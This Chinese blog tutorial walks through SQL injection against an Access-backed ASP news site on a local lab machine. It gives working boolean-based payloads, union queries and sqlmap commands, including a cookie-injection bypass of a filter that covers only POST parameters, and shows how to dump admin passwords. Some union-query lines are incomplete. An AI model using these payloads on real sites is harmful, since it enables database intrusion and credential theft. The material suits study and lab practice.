前言:
最近想把知识点,整理成一些文章,一点原因是对自己知识的沉淀做到温故而知新,另一点对于能帮助到别人解决疑惑也感到很开心。
下面开始重要内容:
Access注入形成的原理本文不在详细赘述,否则篇幅会过长,更多的是记录方法(本文后续会永久保持更新)。
Asp环境:小旋风
靶机地址:192.168.19.138
网站源码:雷驰新闻系统v 1.0
Access数据库结构:
Access数据库是以单文件,mdb格式,以表的形式存在,所以数据库也就是只有一个文件,它的结构如下图:
0x01-1 Access手工注入-逐字猜解法
注入点:http://192.168.19.138/leichinews/onews.asp?id=40
1.猜解数据表
我们在id后面构造语句and exists(select * from user)
,意思是查询Access表中的user表,如果这个user表存在,页面就会返回正常,如果不存在,则就会报错,至于是不是user
,就要靠我们来进行暴力猜解了
1 |
http://192.168.19.138/leichinews/onews.asp?id=40 and exists(select* from user) |
[页面报错,说明数据库中不存在user表]
1 |
http://192.168.19.138/leichinews/onews.asp?id=40 and exists(select* from admin) |
[成功执行,页面没有变化,说明数据库中存在admin表]
2.猜解数据列
现在我们已经确定了该数据库中存在admin表,接下来当然是要猜解admin表中的列,在id参数后构造语句 and exists (select admin from admin)
,这条语句的意思是:查询admin表中的admin列,如果存在则返回正常,不存在则返回错误页面,现在我们进行构造:
1 |
http://192.168.19.138/leichinews/onews.asp?id=40 and exists(select admin from admin) |
我们发现返回正常,说明admin表中存在admin列,我们再继续猜解,看还有哪些列,因为一般情况下,有一个账号列,就必然有一个密码列,因此现在继续猜解列,在id后构造内容and exists (select password from admin)
,这条语句的大意为:查询admin表下的password列,如果存在就返回正常,如果不存在则页面报错:
如上,可以得出结论,admin表中存在password列,接下来我们猜解admin列和password列的长度是多少,因此只有确认了字段的长度,才能更加准确的来猜解数据的内容
3.猜解数据列的长度
使用语句and (select top 1 len (admin) from admin)>4
,这条语句的意思是,如果admin表中admin列的长度大于4,则返回正常,如果小于4,则页面报错,现在进行猜解
当我们输入4的时候返回正常,输入5的时候返回错误,因此我们判定,admin列的长度为5,password列长度也和上一步操作一样,只需将admin列改为password列即可。
4.猜解数据列的内容
接下来猜解admin列和password列的内容,在id后构造语句and (select top 1 asc (mid(admin,1,1)) from admin)>96
,这条语句的意思是,如果admin列中第一个字符的ASCII码如果大于97则返回正常,如果小于97则返回错误。
可以看到,当我们输入97的时候,显示错误,96返回正常,说明第一个字符的ASCII码为97,对照下方ASCII表,可以得出,admin列中第一个字符为a
[构造and (select top 1 asc(mid(admin,2,1)) from admin)=97 则为判断第二位]
password列和上述方法一样,通过构造语句,and (select top 1 asc (mid(password,1,1)) from admin)>XX
,其中X代表ASCII,根据页面的返回信息,可以很容易的判断出来字符的ASCII码,在通过上述表进行对照,即可得到账号密码,本文因篇幅有限,不再赘述重复的操作
通过一一的对比,我们成功的得出了账号密码。
0x01-2 Access手工注入-联合查询法
1.查询数据列数目
1 |
order by xx |
可知列数目为11
2.猜解数据表
1 |
http://192.168.19.138/leichinews/onews.asp?id=40 UNION SELECT |
查询access数据库中有没有admin表,存在返回正常,不存在返回错误
3.猜解数据列和列内容
1 |
http://192.168.19.138/leichinews/onews.asp?id=40 UNION SELECT |
查询access数据库中admin表下面有没有username,password列内容;如果有则列出内容,没有显示报错
如图可以成功得出,admin和password列中的内容
0X02-1 Access工具注入-常规注入
使用工具:SQLmap
1.猜解数据表
1 |
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp?id=40 --dbs --tables |
–dbs表示将数据库显示出来,–tables是将表名显示出来
2.猜解数据列
1 |
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp?id=40 -T admin --columns |
其中, -T代表当前要猜解的表名, –columns 代表猜解列,等待一段时间可以得到admin表中的列名
3.猜解数据列内容
1 |
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp?id=40 -T admin -C "admin,password" --dump |
-C 代表指定要猜解的列名,指定猜解admin和password列中的内容
0x02-2 Access工具注入-中转注入(cookie注入)
通过SQLmap,提交cookie数据,注入中转,成功绕过通用型防注入,通用型防注入只是过滤了POST参数,但是没有过滤cookie参数,因此我们使用SQLmap提交cookie数据,就成功的绕过了。
1.猜解数据表
1 |
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp --cookie "id=40" --level 3 --dbs --tables |
其中 -u 代表要测试的URL,–cookie表示使用cookie的方式提交, –level 表示测试的等级, –dbs表示将数据库显示出来,–tables是将表名显示出来
程序员没有考虑到恶意用户会通过cookie来提交参数,因此没有调用防注入程序来过滤cookie部分,从而导致cookie注入的发生。
这条SQLmap命令,level值至少为2 时SQLmap才会测试cookie,我们输入这条命令,按下回车,这时耐心等待一段时间,SQLmap会自动将表名猜解出来
2.猜解数据列
我们可以看到它已经猜解出了admin表和new表,根据经验判断,我们对admin表进行下一步猜解,使用命令
1 |
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp --cookie "id=40" --level 3 --dbs -T admin --columns |
其中, -T代表 当前要猜解的表名, –columns 代表猜解列,等待一段时间可以得到admin表中的列名
3.猜解数据列内容
账号密码一般都存储在admin和password列中,因此我们着重猜解这两列,使用命令
1 |
sqlmap.py -u http://192.168.19.138/leichinews/onews.asp --cookie "id=40" --level 3 --dbs -T admin -C "admin,password" --dump |
其中,–dump的意思是 将数据内容脱到本地,执行上述命令后可以成功得到账号密码
- source:se7ensec.cn
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论